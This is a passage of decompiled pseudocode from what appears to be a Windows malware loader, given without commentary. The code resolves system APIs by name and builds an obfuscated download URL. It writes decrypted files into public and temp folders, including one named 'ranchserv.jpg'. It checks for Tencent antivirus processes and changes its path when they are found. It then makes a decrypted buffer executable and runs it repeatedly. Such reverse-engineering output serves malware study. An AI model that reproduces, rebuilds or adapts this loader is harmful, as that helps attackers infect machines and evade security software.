__int64 v256; // [rsp+0h] [rbp-7808h] __int64 v257; // [rsp+0h] [rbp-7808h] __int64 v258; // [rsp+0h] [rbp-7808h] __int64 v259; // [rsp+0h] [rbp-7808h] __int64 v260; // [rsp+0h] [rbp-7808h] __int64 v261; // [rsp+0h] [rbp-7808h] __int64 v262; // [rsp+0h] [rbp-7808h] __int64 v263; // [rsp+0h] [rbp-7808h] __int64 v264; // [rsp+0h] [rbp-7808h] __int64 v265; // [rsp+0h] [rbp-7808h] __int64 v266; // [rsp+0h] [rbp-7808h] __int64 v267; // [rsp+0h] [rbp-7808h] __int64 v268; // [rsp+0h] [rbp-7808h] __int64 v269; // [rsp+0h] [rbp-7808h] __int64 v270; // [rsp+0h] [rbp-7808h] __int64 v271; // [rsp+0h] [rbp-7808h] __int64 v272; // [rsp+0h] [rbp-7808h] __int64 v273; // [rsp+0h] [rbp-7808h] __int64 v274; // [rsp+0h] [rbp-7808h] __int64 v275; // [rsp+0h] [rbp-7808h] __int64 v276; // [rsp+0h] [rbp-7808h] __int64 v277; // [rsp+0h] [rbp-7808h] __int64 v278; // [rsp+0h] [rbp-7808h] __int64 v279; // [rsp+0h] [rbp-7808h] __int64 v280; // [rsp+0h] [rbp-7808h] __int64 v281; // [rsp+0h] [rbp-7808h] __int64 v282; // [rsp+0h] [rbp-7808h] __int64 v283; // [rsp+0h] [rbp-7808h] __int64 v284; // [rsp+0h] [rbp-7808h] __int64 v285; // [rsp+0h] [rbp-7808h] __int64 v286; // [rsp+0h] [rbp-7808h] __int64 v287; // [rsp+0h] [rbp-7808h] __int64 v288; // [rsp+0h] [rbp-7808h] __int64 v289; // [rsp+0h] [rbp-7808h] __int64 v290; // [rsp+0h] [rbp-7808h] __int64 v291; // [rsp+0h] [rbp-7808h] __int64 v292; // [rsp+0h] [rbp-7808h] __int64 v293; // [rsp+0h] [rbp-7808h] __int64 v294; // [rsp+8h] [rbp-7800h] __int64 v295; // [rsp+8h] [rbp-7800h] __int64 v296; // [rsp+8h] [rbp-7800h] __int64 v297; // [rsp+8h] [rbp-7800h] __int64 v298; // [rsp+8h] [rbp-7800h] __int64 v299; // [rsp+8h] [rbp-7800h] __int64 v300; // [rsp+8h] [rbp-7800h] __int64 v301; // [rsp+8h] [rbp-7800h] __int64 v302; // [rsp+8h] [rbp-7800h] __int64 v303; // [rsp+8h] [rbp-7800h] __int64 v304; // [rsp+8h] [rbp-7800h] __int64 v305; // [rsp+8h] [rbp-7800h] int v306; // [rsp+8h] [rbp-7800h] __int64 v307; // [rsp+8h] [rbp-7800h] __int64 v308; // [rsp+8h] [rbp-7800h] __int64 v309; // [rsp+8h] [rbp-7800h] __int64 v310; // [rsp+8h] [rbp-7800h] int v311; // [rsp+8h] [rbp-7800h] __int64 v312; // [rsp+8h] [rbp-7800h] __int64 v313; // [rsp+8h] [rbp-7800h] __int64 v314; // [rsp+8h] [rbp-7800h] __int64 v315; // [rsp+8h] [rbp-7800h] __int64 v316; // [rsp+8h] [rbp-7800h] __int64 v317; // [rsp+8h] [rbp-7800h] __int64 v318; // [rsp+8h] [rbp-7800h] __int64 v319; // [rsp+8h] [rbp-7800h] __int64 v320; // [rsp+10h] [rbp-77F8h] __int64 v321; // [rsp+10h] [rbp-77F8h] __int64 v322; // [rsp+10h] [rbp-77F8h] __int64 v323; // [rsp+10h] [rbp-77F8h] __int64 v324; // [rsp+10h] [rbp-77F8h] __int64 v325; // [rsp+10h] [rbp-77F8h] __int64 v326; // [rsp+10h] [rbp-77F8h] __int64 v327; // [rsp+10h] [rbp-77F8h] __int64 v328; // [rsp+10h] [rbp-77F8h] __int64 v329; // [rsp+10h] [rbp-77F8h] __int64 v330; // [rsp+10h] [rbp-77F8h] __int64 v331; // [rsp+10h] [rbp-77F8h] __int64 v332; // [rsp+10h] [rbp-77F8h] __int64 v333; // [rsp+10h] [rbp-77F8h] __int64 v334; // [rsp+10h] [rbp-77F8h] __int64 v335; // [rsp+10h] [rbp-77F8h] __int64 v336; // [rsp+10h] [rbp-77F8h] __int64 v337; // [rsp+10h] [rbp-77F8h] __int64 v338; // [rsp+10h] [rbp-77F8h] __int64 v339; // [rsp+10h] [rbp-77F8h] __int64 v340; // [rsp+10h] [rbp-77F8h] void (__fastcall *v341)(char *, __int64, _QWORD, __int64, __int64); // [rsp+20h] [rbp-77E8h] __int64 (*v342)(void); // [rsp+28h] [rbp-77E0h] char kernel32.dll[16]; // [rsp+38h] [rbp-77D0h] BYREF int n100; // [rsp+48h] [rbp-77C0h] __int64 v345; // [rsp+50h] [rbp-77B8h] BYREF char __[2]; // [rsp+58h] [rbp-77B0h] BYREF char .exe[8]; // [rsp+5Ch] [rbp-77ACh] BYREF char Sleep[12]; // [rsp+64h] [rbp-77A4h] BYREF char HeapFree[16]; // [rsp+70h] [rbp-7798h] BYREF char QQPCRTP.exe[16]; // [rsp+80h] [rbp-7788h] BYREF char QQPCTray.exe[16]; // [rsp+90h] [rbp-7778h] BYREF char ranchserv.jpg[16]; // [rsp+A0h] [rbp-7768h] BYREF char VirtualProtect[16]; // [rsp+B0h] [rbp-7758h] BYREF char GetProcessHeap[16]; // [rsp+C0h] [rbp-7748h] BYREF char CreateDirectoryA[24]; // [rsp+D0h] [rbp-7738h] BYREF char GetFileAttributesA[24]; // [rsp+E8h] [rbp-7720h] BYREF char GetWindowsDirectoryA[24]; // [rsp+100h] [rbp-7708h] BYREF char SetCurrentDirectoryA[24]; // [rsp+118h] [rbp-76F0h] BYREF char SetConsoleCtrlHandler[24]; // [rsp+130h] [rbp-76D8h] BYREF char SetProcessShutdownParameters[32]; // [rsp+148h] [rbp-76C0h] BYREF int n10; // [rsp+168h] [rbp-76A0h] int v362; // [rsp+16Ch] [rbp-769Ch] BYREF char v363; // [rsp+170h] [rbp-7698h] BYREF int v364; // [rsp+178h] [rbp-7690h] BYREF int v365; // [rsp+17Ch] [rbp-768Ch] BYREF void (__fastcall *v366)(__int64 *, __int64, __int64, __int64, __int64, __int64); // [rsp+180h] [rbp-7688h] int v367; // [rsp+188h] [rbp-7680h] BYREF int v368; // [rsp+18Ch] [rbp-767Ch] BYREF int v369; // [rsp+190h] [rbp-7678h] BYREF int v370; // [rsp+194h] [rbp-7674h] BYREF _QWORD dst_1[3]; // [rsp+198h] [rbp-7670h] BYREF __int64 dst__3; // [rsp+1B0h] [rbp-7658h] BYREF __int64 dst__8; // [rsp+1B8h] [rbp-7650h] __int64 dst__6; // [rsp+1C0h] [rbp-7648h] __int64 dst__4; // [rsp+1C8h] [rbp-7640h] int v376; // [rsp+1D0h] [rbp-7638h] int v377; // [rsp+1D4h] [rbp-7634h] int v378; // [rsp+1D8h] [rbp-7630h] __int64 dst__10; // [rsp+1E0h] [rbp-7628h] BYREF __int64 (*v380)(void); // [rsp+1E8h] [rbp-7620h] __int64 dst__2; // [rsp+1F0h] [rbp-7618h] BYREF _QWORD dst[3]; // [rsp+1F8h] [rbp-7610h] BYREF _QWORD dst_2[3]; // [rsp+210h] [rbp-75F8h] BYREF _QWORD dst_3[3]; // [rsp+228h] [rbp-75E0h] BYREF __int64 dst__1; // [rsp+240h] [rbp-75C8h] BYREF _BYTE buf_7[7]; // [rsp+248h] [rbp-75C0h] BYREF char buf_; // [rsp+24Fh] [rbp-75B9h] BYREF _BYTE buf_6[7]; // [rsp+250h] [rbp-75B8h] BYREF char v389; // [rsp+257h] [rbp-75B1h] BYREF _DWORD dst_4[6]; // [rsp+258h] [rbp-75B0h] BYREF __int64 dst_; // [rsp+270h] [rbp-7598h] BYREF __int64 dst__5; // [rsp+278h] [rbp-7590h] BYREF __int64 dst__7; // [rsp+280h] [rbp-7588h] BYREF __int64 dst__9; // [rsp+288h] [rbp-7580h] BYREF void (__fastcall *v395)(char *, __int64, __int64, __int64); // [rsp+290h] [rbp-7578h] unsigned int (__fastcall *v396)(char *, __int64, __int64, unsigned int *); // [rsp+298h] [rbp-7570h] __int64 v397; // [rsp+2A0h] [rbp-7568h] __int64 v398; // [rsp+2A8h] [rbp-7560h] __int64 v399; // [rsp+2B0h] [rbp-7558h] __int64 v400; // [rsp+2B8h] [rbp-7550h] __int64 v401; // [rsp+2C0h] [rbp-7548h] __int64 v402; // [rsp+2C8h] [rbp-7540h] _BYTE v403[8]; // [rsp+2D0h] [rbp-7538h] BYREF __int64 v404; // [rsp+2D8h] [rbp-7530h] void (__fastcall *v405)(__int64, __int64, __int64, __int64 (__fastcall *)()); // [rsp+2E0h] [rbp-7528h] void (__fastcall *v406)(_BYTE *, __int64, __int64, _BYTE *); // [rsp+2E8h] [rbp-7520h] void (__fastcall *v407)(char *, __int64, _QWORD, unsigned int *); // [rsp+2F0h] [rbp-7518h] void (__fastcall *v408)(char *, __int64, __int64, unsigned int *); // [rsp+2F8h] [rbp-7510h] unsigned int (__fastcall *v409)(__int64 *, __int64, _QWORD, __int64 (*)(void), __int64, _BYTE *); // [rsp+300h] [rbp-7508h] __int64 (*v410)(void); // [rsp+308h] [rbp-7500h] __int64 v411; // [rsp+310h] [rbp-74F8h] __int64 v412; // [rsp+318h] [rbp-74F0h] __int64 v413; // [rsp+320h] [rbp-74E8h] __int64 v414; // [rsp+328h] [rbp-74E0h] __int64 v415; // [rsp+330h] [rbp-74D8h] void (__fastcall *v416)(__int64, __int64, __int64, __int64); // [rsp+338h] [rbp-74D0h] __int64 v417; // [rsp+340h] [rbp-74C8h] __int64 v418; // [rsp+348h] [rbp-74C0h] __int64 v419; // [rsp+350h] [rbp-74B8h] __int64 v420; // [rsp+358h] [rbp-74B0h] char .fjj_te_svzazex.rczpletj.tfd_[512]; // [rsp+360h] [rbp-74A8h] BYREF unsigned int buf[68]; // [rsp+560h] [rbp-72A8h] BYREF unsigned int v423; // [rsp+670h] [rbp-7198h] BYREF unsigned int v424; // [rsp+688h] [rbp-7180h] BYREF unsigned int v425; // [rsp+6A0h] [rbp-7168h] BYREF unsigned int v426; // [rsp+6B8h] [rbp-7150h] BYREF unsigned int v427; // [rsp+6D0h] [rbp-7138h] BYREF _BYTE buf_1[272]; // [rsp+6F0h] [rbp-7118h] BYREF unsigned int buf_3[65]; // [rsp+800h] [rbp-7008h] BYREF _BYTE buf_5[260]; // [rsp+910h] [rbp-6EF8h] BYREF int v431; // [rsp+A14h] [rbp-6DF4h] BYREF char ykkgj:__[512]; // [rsp+A20h] [rbp-6DE8h] BYREF unsigned int buf_8[65]; // [rsp+C20h] [rbp-6BE8h] BYREF _BYTE v434[12]; // [rsp+D24h] [rbp-6AE4h] BYREF _BYTE buf_2[260]; // [rsp+D30h] [rbp-6AD8h] BYREF char j.urk[512]; // [rsp+E40h] [rbp-69C8h] BYREF char j.agx[512]; // [rsp+1040h] [rbp-67C8h] BYREF _BYTE buf_4[260]; // [rsp+1240h] [rbp-65C8h] BYREF _BYTE v439[12]; // [rsp+1344h] [rbp-64C4h] BYREF char kru[512]; // [rsp+1350h] [rbp-64B8h] BYREF _BYTE v441[512]; // [rsp+1550h] [rbp-62B8h] BYREF _BYTE v442[512]; // [rsp+1750h] [rbp-60B8h] BYREF unsigned int v443[1950]; // [rsp+1950h] [rbp-5EB8h] BYREF unsigned int buf_9[65]; // [rsp+37C8h] [rbp-4040h] BYREF unsigned int buf_10[65]; // [rsp+38CCh] [rbp-3F3Ch] BYREF unsigned int buf_12[65]; // [rsp+39D0h] [rbp-3E38h] BYREF unsigned int buf_11[2629]; // [rsp+3AD4h] [rbp-3D34h] BYREF _BYTE v448[512]; // [rsp+63E8h] [rbp-1420h] BYREF _BYTE v449[512]; // [rsp+65E8h] [rbp-1220h] BYREF _BYTE v450[512]; // [rsp+67E8h] [rbp-1020h] BYREF _BYTE v451[512]; // [rsp+69E8h] [rbp-E20h] BYREF char v452; // [rsp+6BE8h] [rbp-C20h] BYREF _BYTE v453[512]; // [rsp+6DE8h] [rbp-A20h] BYREF _BYTE v454[512]; // [rsp+6FE8h] [rbp-820h] BYREF _BYTE v455[512]; // [rsp+71E8h] [rbp-620h] BYREF unsigned int v456[128]; // [rsp+73E8h] [rbp-420h] BYREF unsigned int v457[136]; // [rsp+75E8h] [rbp-220h] BYREF v7 = alloca(size); strcpy(kernel32.dll, "kernel32.dll"); strcpy(SetProcessShutdownParameters, "SetProcessShutdownParameters"); strcpy(SetConsoleCtrlHandler, "SetConsoleCtrlHandler"); v416 = (void (__fastcall *)(__int64, __int64, __int64, __int64))sub_C75( a1, a2, (__int64)SetProcessShutdownParameters, (__int64)kernel32.dll, a5, a6); v405 = (void (__fastcall *)(__int64, __int64, __int64, __int64 (__fastcall *)()))sub_C75( a1, a2, (__int64)SetConsoleCtrlHandler, (__int64)kernel32.dll, v8, v9); v416(a1, a2, 1, 1); v405(a1, a2, 1, sub_93E5); v345 = 0; v368 = 0; memset(buf_2, 0, sizeof(buf_2)); memset(buf_1, 0, 0x104u); strcpy(ykkgj:__, "ykkgj://"); memset(&ykkgj:__[9], 0, 0x1F7u); strcpy(.fjj_te_svzazex.rczpletj.tfd_, ".fjj-te-svzazex.rczpletj.tfd/"); memset(&.fjj_te_svzazex.rczpletj.tfd_[30], 0, 0x1E2u); strcpy(kru, "kru"); memset(&kru[4], 0, 0x1FCu); sub_4815((unsigned int)v441, a2, (unsigned int)ykkgj:__, (unsigned int)buf_1, 260, v10); v11 = sub_6675(); sub_48C5((unsigned int)v441, a2, v11, (unsigned int)buf_1, v12, v13); sub_48C5((unsigned int)v441, a2, (unsigned int).fjj_te_svzazex.rczpletj.tfd_, (unsigned int)buf_1, v14, v15); sub_4815((unsigned int)v441, a2, (unsigned int)buf_1, (unsigned int)buf_2, 260, v16); sub_48C5((unsigned int)v441, a2, (unsigned int)kru, (unsigned int)buf_1, v17, v18); sub_4575((int)v441, a2, 17, (__int64)buf_1, v19, v20); sub_4CB5((__int64)v441, a2, &v345, (__int64)buf_1, &v368, v21); sub_49C5((unsigned int)v441, a2, v368, v345, v22, v23); sub_4C65((int)v441, a2, 0, v345, (int)v448, 512); sub_4C65((int)v441, a2, 80, v345, (int)v449, 512); sub_4C65((int)v441, a2, 160, v345, (int)v450, 512); sub_4C65((int)v441, a2, 240, v345, (int)v451, 512); sub_4C65((int)v441, a2, 320, v345, (int)&v452, 512); sub_4C65((int)v441, a2, 368, v345, (int)v453, 512); sub_4C65((int)v441, a2, 416, v345, (int)v455, 512); sub_4C65((int)v441, a2, 464, v345, (int)v454, 512); sub_4C65((int)v441, a2, 512, v345, (int)v456, 512); sub_4C65((int)v441, a2, 592, v345, (int)v457, 512); memset(buf, 0, 0x104u); memset(buf_3, 0, sizeof(buf_3)); strcpy(__, "\\"); memset(buf_4, 0, sizeof(buf_4)); strcpy(GetWindowsDirectoryA, "GetWindowsDirectoryA"); v406 = (void (__fastcall *)(_BYTE *, __int64, __int64, _BYTE *))sub_C75( (__int64)v439, a2, (__int64)GetWindowsDirectoryA, (__int64)kernel32.dll, v24, v25); v406(v439, a2, 260, buf_4); memset(buf_5, 0, sizeof(buf_5)); buf_5[0] = buf_4[0]; strcpy(&buf_5[1], ":"); sub_48C5((unsigned int)&v431, a2, (unsigned int)"\\Users\\Public\\", (unsigned int)buf_5, v26, v27); memset(buf_6, 0, sizeof(buf_6)); sub_4735((unsigned int)&v389, a2, 6, (unsigned int)buf_6, v28, v29); sub_4815((unsigned int)&v389, a2, (unsigned int)buf_5, (unsigned int)buf, 260, v30); sub_48C5((unsigned int)&v389, a2, (unsigned int)buf_6, (unsigned int)buf, v31, v32); strcpy(CreateDirectoryA, "CreateDirectoryA"); v407 = (void (__fastcall *)(char *, __int64, _QWORD, unsigned int *))sub_C75( (__int64)&v389, a2, (__int64)CreateDirectoryA, (__int64)kernel32.dll, v33, v34); v407(&v389, a2, 0, buf); sub_8D55((unsigned int)&v389, a2, v35, (unsigned int)buf, v36, v37, v243); sub_48C5((unsigned int)&v389, a2, (unsigned int)__, (unsigned int)buf, v38, v39); sub_4815((unsigned int)&v389, a2, (unsigned int)buf, (unsigned int)buf_3, 260, v40); sub_4815((unsigned int)&v389, a2, (unsigned int)buf, (unsigned int)v443, 260, v41); sub_4815((unsigned int)&v389, a2, (unsigned int)v443, (unsigned int)buf_9, 260, v42); sub_4815((unsigned int)&v389, a2, (unsigned int)buf, (unsigned int)buf_10, 260, v43); sub_4815((unsigned int)&v389, a2, (unsigned int)buf, (unsigned int)buf_12, 260, v44); sub_4815((unsigned int)&v389, a2, (unsigned int)buf, (unsigned int)buf_11, 260, v45); strcpy(Sleep, "Sleep"); v395 = (void (__fastcall *)(char *, __int64, __int64, __int64))sub_C75( (__int64)&v389, a2, (__int64)Sleep, (__int64)kernel32.dll, v46, v47); v395(&v389, a2, v48, 100); memset(buf_7, 0, sizeof(buf_7)); sub_4735((unsigned int)&buf_, a2, 6, (unsigned int)buf_7, v49, v50); sub_48C5((unsigned int)&buf_, a2, (unsigned int)buf_7, (unsigned int)buf_9, v51, v52); strcpy(.exe, ".exe"); sub_48C5((unsigned int)&buf_, a2, (unsigned int).exe, (unsigned int)buf_9, v53, v54); sub_48C5((unsigned int)&buf_, a2, (unsigned int)v453, (unsigned int)buf_10, v55, v56); sub_48C5((unsigned int)&buf_, a2, (unsigned int)v454, (unsigned int)buf_12, v57, v58); sub_48C5((unsigned int)&buf_, a2, (unsigned int)v455, (unsigned int)buf_11, v59, v60); dst_ = 0; v367 = 0; dst__5 = 0; v369 = 0; dst__7 = 0; v370 = 0; dst__9 = 0; v364 = 0; if ( sub_1375((int)&buf_, a2, v61, v62, v63, v64) || a4 || (unsigned int)sub_1455() ) dword_BC59 = 1; sub_4CB5((__int64)&buf_, a2, &dst_, (__int64)v448, &v367, v65); src = (const void *)sub_5395((unsigned int)&buf_, a2, dst_, (unsigned int)&v427, v367, v66, v244, v294, v320); qmemcpy(dst, src, sizeof(dst)); v68 = (__int64)src + 24; sub_54B5(dst_2, (_DWORD)src + 24, dst[2], dst[0], HIDWORD(dst[1]), LOBYTE(dst[1]), v245, v295, v321); dst__4 = sub_5535((unsigned int)dst_2, v68, dst[2], dst[0], HIDWORD(dst[1]), v69, v246, v296, v322); sub_5665( (unsigned int)dst_2, v68, dst__4, (unsigned int)buf_9, LODWORD(dst[2]) - HIDWORD(dst[1]) - 5, v70, v247, v297, v323); sub_4CB5((__int64)dst_2, v68, &dst__5, (__int64)v449, &v369, v71); src_1 = (const void *)sub_5395((unsigned int)dst_2, v68, dst__5, (unsigned int)&v423, v369, v72, v248, v298, v324); qmemcpy(dst_1, src_1, sizeof(dst_1)); v74 = (__int64)src_1 + 24; sub_54B5(&dst__3, (_DWORD)src_1 + 24, dst_1[2], dst_1[0], HIDWORD(dst_1[1]), LOBYTE(dst_1[1]), v249, v299, v325); dst__6 = sub_5535((unsigned int)&dst__3, v74, dst_1[2], dst_1[0], HIDWORD(dst_1[1]), v75, v250, v300, v326); sub_82F5( (unsigned int)&dst__3, v74, LODWORD(dst_1[2]) - HIDWORD(dst_1[1]) - 5, dst__6, LODWORD(dst_1[2]) - HIDWORD(dst_1[1]) - 9, v76, v251, v301, v327); sub_5665( (unsigned int)&dst__3, v74, dst__6, (unsigned int)buf_10, LODWORD(dst_1[2]) - HIDWORD(dst_1[1]) - 5, v77, v252, v302, v328); sub_4CB5((__int64)&dst__3, v74, &dst__7, (__int64)v450, &v370, v78); src_2 = (const void *)sub_5395((unsigned int)&dst__3, v74, dst__7, (unsigned int)&v424, v370, v79, v253, v303, v329); qmemcpy(dst_2, src_2, sizeof(dst_2)); v81 = (__int64)src_2 + 24; sub_54B5(dst_3, (_DWORD)src_2 + 24, dst_2[2], dst_2[0], HIDWORD(dst_2[1]), LOBYTE(dst_2[1]), v254, v304, v330); dst__8 = sub_5535((unsigned int)dst_3, v81, dst_2[2], dst_2[0], HIDWORD(dst_2[1]), v82, v255, v305, v331); sub_83C5((unsigned int)dst_3, v81, 15, dst__8, v83, v84, v256, v306); sub_5665( (unsigned int)dst_3, v81, dst__8, (unsigned int)buf_11, LODWORD(dst_2[2]) - HIDWORD(dst_2[1]) - 5, v85, v257, v307, v332); sub_4CB5((__int64)dst_3, v81, &dst__9, (__int64)v451, &v364, v86); src_3 = (const void *)sub_5395((unsigned int)dst_3, v81, dst__9, (unsigned int)&v425, v364, v87, v258, v308, v333); qmemcpy(dst_3, src_3, sizeof(dst_3)); v89 = (__int64)src_3 + 24; sub_54B5(&dst__1, (_DWORD)src_3 + 24, dst_3[2], dst_3[0], HIDWORD(dst_3[1]), LOBYTE(dst_3[1]), v259, v309, v334); dst__3 = sub_5535((unsigned int)&dst__1, v89, dst_3[2], dst_3[0], HIDWORD(dst_3[1]), v90, v260, v310, v335); sub_83C5((unsigned int)&dst__1, v89, 304, dst__3, v91, v92, v261, v311); sub_5665( (unsigned int)&dst__1, v89, dst__3, (unsigned int)buf_12, LODWORD(dst_3[2]) - HIDWORD(dst_3[1]) - 5, v93, v262, v312, v336); sub_5CB5((unsigned int)&dst__1, v89, v94, (unsigned int)buf_9, v95, v96, v263); sub_5CB5((unsigned int)&dst__1, v89, v97, (unsigned int)buf_10, v98, v99, v264); sub_5CB5((unsigned int)&dst__1, v89, v100, (unsigned int)buf_11, v101, v102, v265); sub_5CB5((unsigned int)&dst__1, v89, v103, (unsigned int)buf_12, v104, v105, v266); strcpy(GetFileAttributesA, "GetFileAttributesA"); v396 = (unsigned int (__fastcall *)(char *, __int64, __int64, unsigned int *))sub_C75( (__int64)&dst__1, v89, (__int64)GetFileAttributesA, (__int64)kernel32.dll, v106, v107); strcpy(GetProcessHeap, "GetProcessHeap"); strcpy(HeapFree, "HeapFree"); v342 = (__int64 (*)(void))sub_C75((__int64)&dst__1, v89, (__int64)GetProcessHeap, (__int64)kernel32.dll, v108, v109); v341 = (void (__fastcall *)(char *, __int64, _QWORD, __int64, __int64))sub_C75( (__int64)&dst__1, v89, (__int64)HeapFree, (__int64)kernel32.dll, v110, v111); n10 = 0; if ( !(unsigned int)sub_6E55( (unsigned int)&dst__1, v89, (unsigned int)v457, (unsigned int)v456, v112, v113, v267, v313) && n10 < 10 ) { v395((char *)&dst__1, v89, v114, 10000); ++n10; } dst__2 = 0; v362 = 0; memset(buf_8, 0, sizeof(buf_8)); sub_4815((unsigned int)v434, v89, (unsigned int)"C:\\Windows\\Temp\\", (unsigned int)buf_8, 260, v115); strcpy(ranchserv.jpg, "ranchserv.jpg"); sub_48C5((unsigned int)v434, v89, (unsigned int)ranchserv.jpg, (unsigned int)buf_8, v116, v117); strcpy(j.urk, "j.urk"); memset(&j.urk[6], 0, 0x1FAu); j.agx_1 = (__int64 *)j.agx; sub_4815((unsigned int)j.agx, v89, (unsigned int)buf_2, (unsigned int)v441, 512, v119); sub_48C5((unsigned int)j.agx, v89, (unsigned int)j.urk, (unsigned int)v441, v120, v121); sub_4575((int)j.agx, v89, 17, (__int64)v441, v122, v123); sub_4CB5((__int64)j.agx, v89, &dst__2, (__int64)v441, &v362, v124); sub_4A95((unsigned int)j.agx, v89, v362, dst__2, v125, v126, v268, v314); sub_5665((unsigned int)j.agx, v89, dst__2, (unsigned int)buf_8, v362, v127, v269, v315, v337); strcpy(QQPCRTP.exe, "QQPCRTP.exe"); strcpy(QQPCTray.exe, "QQPCTray.exe"); v378 = sub_E65((__int64)j.agx, v89, v128, (unsigned int)QQPCRTP.exe, v129, v130); v376 = sub_E65((__int64)j.agx, v89, v131, (unsigned int)QQPCTray.exe, v132, v133); if ( v378 || v376 ) { strcpy(SetCurrentDirectoryA, "SetCurrentDirectoryA"); v408 = (void (__fastcall *)(char *, __int64, __int64, unsigned int *))sub_C75( (__int64)j.agx, v89, (__int64)SetCurrentDirectoryA, (__int64)kernel32.dll, v135, v136); sub_5AE5((unsigned int)j.agx, v89, v137, (unsigned int)v443, v138, v139, v270); v408(j.agx, v89, v140, v443); sub_83F5((unsigned int)j.agx, v89, (unsigned int)v443, (unsigned int)buf_9, v141, v142, v271, v316); v143 = v342(); v341(j.agx, v89, 0, v143, dst__4); v144 = v342(); v341(j.agx, v89, 0, v144, dst__6); v145 = v342(); v341(j.agx, v89, 0, v145, dst__8); v146 = v342(); v341(j.agx, v89, 0, v146, dst__3); v147 = v342(); v341(j.agx, v89, 0, v147, dst[0]); v148 = v342(); v341(j.agx, v89, 0, v148, dst_1[0]); v149 = v342(); v341(j.agx, v89, 0, v149, dst_2[0]); v150 = v342(); v341(j.agx, v89, 0, v150, dst_3[0]); return 0; } if ( v396(j.agx, v89, v134, buf_9) == -1 || v396(j.agx, v89, v152, buf_10) == -1 ) { sub_525(j.agx, v89, v152, v153, v154, v155); } else { dst__10 = 0; v365 = 0; strcpy(j.agx, "j.agx"); memset(&j.agx[6], 0, 0x1FAu); sub_4815((unsigned int)buf_4, v89, (unsigned int)buf_2, (unsigned int)v442, 512, v155); sub_48C5((unsigned int)buf_4, v89, (unsigned int)j.agx, (unsigned int)v442, v156, v157); sub_4575((int)buf_4, v89, 17, (__int64)v442, v158, v159); sub_4CB5((__int64)buf_4, v89, &dst__10, (__int64)v442, &v365, v160); src_4 = (const void *)sub_5395((unsigned int)buf_4, v89, dst__10, (unsigned int)&v426, v365, v161, v270, v316, v338); qmemcpy(dst_4, src_4, sizeof(dst_4)); v89 = (__int64)src_4 + 24; j.agx_1 = &dst_; sub_54B5(&dst_, (_DWORD)src_4 + 24, dst_4[4], dst_4[0], dst_4[3], LOBYTE(dst_4[2]), v272, v317, v339); v380 = (__int64 (*)(void))sub_5535((unsigned int)&dst_, v89, dst_4[4], dst_4[0], dst_4[3], v163, v273, v318, v340); strcpy(VirtualProtect, "VirtualProtect"); v409 = (unsigned int (__fastcall *)(__int64 *, __int64, _QWORD, __int64 (*)(void), __int64, _BYTE *))sub_C75((__int64)&dst_, v89, (__int64)VirtualProtect, (__int64)kernel32.dll, v164, v165); if ( !v409(&dst_, v89, (unsigned int)(dst_4[4] - dst_4[3] - 5), v380, 64, v403) ) { v166 = v342(); v341((char *)&dst_, v89, 0, v166, dst__10); v167 = v342(); v341((char *)&dst_, v89, 0, v167, (__int64)v380); sub_1BF5(); return 1; } v410 = v380; v411 = v380(); v366 = (void (__fastcall *)(__int64 *, __int64, __int64, __int64, __int64, __int64))v411; sub_4735((unsigned int)&dst_, v89, 5, (unsigned int)&v363, v168, v169); n100 = 0; if ( a4 ) { dst__1 = sub_8F35((unsigned int)&dst_, v89, (unsigned int)buf_9, (unsigned int)buf_3, v171, v172, v274, v319); v412 = sub_58F5((unsigned int)&dst_, v89, v173, (unsigned int)buf_3, v174, v175, v275); v413 = sub_58F5((unsigned int)&dst_, v89, v176, (unsigned int)byte_BC61, v177, v178, v276); v414 = sub_58F5((unsigned int)&dst_, v89, v179, dst__1, v180, v181, v277); v185 = sub_58F5((unsigned int)&dst_, v89, v182, (unsigned int)&v363, v183, v184, v278); v366(&dst_, v89, v414, v185, v413, v412); v415 = sub_58F5((unsigned int)&dst_, v89, v186, (unsigned int)buf_3, v187, v188, v279); v404 = sub_58F5((unsigned int)&dst_, v89, v189, (unsigned int)&byte_BC60, v190, v191, v280); v417 = sub_58F5((unsigned int)&dst_, v89, v192, dst__1, v193, v194, v281); v198 = sub_58F5((unsigned int)&dst_, v89, v195, (unsigned int)&v363, v196, v197, v282); if ( ((unsigned int (__fastcall *)(__int64 *, __int64, __int64, __int64, __int64, __int64))v366)( &dst_, v89, v417, v198, v404, v415) != 1 ) { while ( n100 < 100 ) { v418 = sub_58F5((unsigned int)&dst_, v89, v199, (unsigned int)buf_3, v200, v201, v283); v419 = sub_58F5((unsigned int)&dst_, v89, v202, (unsigned int)&byte_BC5F, v203, v204, v284); v420 = sub_58F5((unsigned int)&dst_, v89, v205, dst__1, v206, v207, v285); v211 = sub_58F5((unsigned int)&dst_, v89, v208, (unsigned int)&v363, v209, v210, v286); v377 = ((__int64 (__fastcall *)(__int64 *, __int64, __int64, __int64, __int64, __int64))v366)( &dst_, v89, v420, v211, v419, v418); if ( v377 == 1 ) break; ++n100; } } } else { v397 = sub_58F5((unsigned int)&dst_, v89, v170, (unsigned int)buf_3, v171, v172, v274); v398 = sub_58F5((unsigned int)&dst_, v89, v212, (unsigned int)&byte_BC5E, v213, v214, v287); v399 = sub_58F5((unsigned int)&dst_, v89, v215, (unsigned int)buf_9, v216, v217, v288); v221 = sub_58F5((unsigned int)&dst_, v89, v218, (unsigned int)&v363, v219, v220, v289); if ( ((unsigned int (__fastcall *)(__int64 *, __int64, __int64, __int64, __int64, __int64))v366)( &dst_, v89, v399, v221, v398, v397) != 1 ) { while ( n100 < 100 ) { v400 = sub_58F5((unsigned int)&dst_, v89, v222, (unsigned int)buf_3, v223, v224, v290); v401 = sub_58F5((unsigned int)&dst_, v89, v225, (unsigned int)&byte_BC5D, v226, v227, v291); v402 = sub_58F5((unsigned int)&dst_, v89, v228, (unsigned int)buf_9, v229, v230, v292); v234 = sub_58F5((unsigned int)&dst_, v89, v231, (unsigned int)&v363, v232, v233, v293); if ( ((unsigned int (__fastcall *)(__int64 *, __int64, __int64, __int64, __int64, __int64))v366)( &dst_, v89, v402, v234, v401, v400) == 1 ) break; ++n100; } } } } v235 = v342(); v341((char *)j.agx_1, v89, 0, v235, dst__4); v236 = v342(); v341((char *)j.agx_1, v89, 0, v236, dst__6); v237 = v342(); v341((char *)j.agx_1, v89, 0, v237, dst__8); v238 = v342(); v341((char *)j.agx_1, v89, 0, v238, dst__3); v239 = v342(); v341((char *)j.agx_1, v89, 0, v239, dst[0]); v240 = v342(); v341((char *)j.agx_1, v89, 0, v240, dst_1[0]); v241 = v342(); v341((char *)j.agx_1, v89, 0, v241, dst_2[0]); v242 = v342(); return ((__int64 (__fastcall *)(__int64 *, __int64, _QWORD, __int64, _QWORD))v341)(j.agx_1, v89, 0, v242, dst_3[0]); } ``` ``` 